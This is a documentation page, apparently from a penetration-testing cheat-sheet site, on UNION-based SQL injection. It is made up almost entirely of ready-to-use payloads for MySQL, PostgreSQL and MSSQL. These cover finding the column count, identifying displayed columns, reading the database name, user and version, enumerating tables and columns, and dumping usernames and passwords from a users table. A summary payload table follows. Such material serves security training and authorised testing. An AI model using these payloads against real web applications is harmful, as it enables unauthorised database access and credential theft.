> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# UNION-Based

> UNION-based SQL injection: column enumeration, data extraction, and database-specific payloads.

## Overview

UNION-based SQLi appends a second query to the original using `UNION SELECT`. Requires: output visible on page, and matching column count/types.

***

## Find Number of Columns

### ORDER BY

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
...
```

Increment until error. Last working number = column count.

### UNION SELECT NULL

```
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
```

Increment NULLs until no error.

***

## Find Displayable Columns

```
' UNION SELECT 1,2,3,4-- -
' UNION SELECT 'a','b','c','d'-- -
```

Check which numbers/letters appear on page — those are injectable positions.

***

## Extract Data

### Current Database

```
' UNION SELECT 1,database(),3-- -           # MySQL
' UNION SELECT 1,current_database(),3-- -   # PostgreSQL
' UNION SELECT 1,db_name(),3-- -            # MSSQL
```

### Current User

```
' UNION SELECT 1,user(),3-- -               # MySQL
' UNION SELECT 1,current_user,3-- -         # PostgreSQL
' UNION SELECT 1,system_user,3-- -          # MSSQL
```

### Version

```
' UNION SELECT 1,@@version,3-- -            # MySQL/MSSQL
' UNION SELECT 1,version(),3-- -            # PostgreSQL
```

***

## Enumerate Tables

### MySQL

```
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
```

### PostgreSQL

```
' UNION SELECT 1,string_agg(table_name,','),3 FROM information_schema.tables WHERE table_schema='public'-- -
```

### MSSQL

```
' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'-- -
```

***

## Enumerate Columns

### MySQL

```
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
```

### PostgreSQL

```
' UNION SELECT 1,string_agg(column_name,','),3 FROM information_schema.columns WHERE table_name='users'-- -
```

### MSSQL

```
' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
```

***

## Dump Data

### MySQL

```
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -
' UNION SELECT 1,group_concat(username,':',password SEPARATOR '<br>'),3 FROM users-- -
```

### PostgreSQL

```
' UNION SELECT 1,string_agg(username||':'||password,','),3 FROM users-- -
```

### MSSQL

```
' UNION SELECT 1,username+':'+password,3 FROM users-- -
```

***

## Multiple Columns into One

When only one column is displayable:

```
' UNION SELECT 1,concat(username,0x3a,password),3 FROM users-- -
' UNION SELECT 1,username||':'||password,3 FROM users-- -
```

***

## String vs Integer Columns

If column expects integer:

```
' UNION SELECT 1,2,3-- -           # Works
' UNION SELECT 'a',2,3-- -         # May fail

# Cast if needed
' UNION SELECT CAST('test' AS int),2,3-- -
```

***

## Quick Reference

| Step         | Payload                                                            |
| ------------ | ------------------------------------------------------------------ |
| Find columns | `' ORDER BY N-- -`                                                 |
| Find display | `' UNION SELECT 1,2,3-- -`                                         |
| Database     | `' UNION SELECT 1,database(),3-- -`                                |
| Tables       | `... FROM information_schema.tables WHERE table_schema=database()` |
| Columns      | `... FROM information_schema.columns WHERE table_name='tbl'`       |
| Dump         | `' UNION SELECT 1,group_concat(user,0x3a,pass),3 FROM users-- -`   |

***

## Sources

* [PortSwigger — UNION Attacks](https://portswigger.net/web-security/sql-injection/union-attacks)
* [OWASP — SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
* [PortSwigger — SQL Injection Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
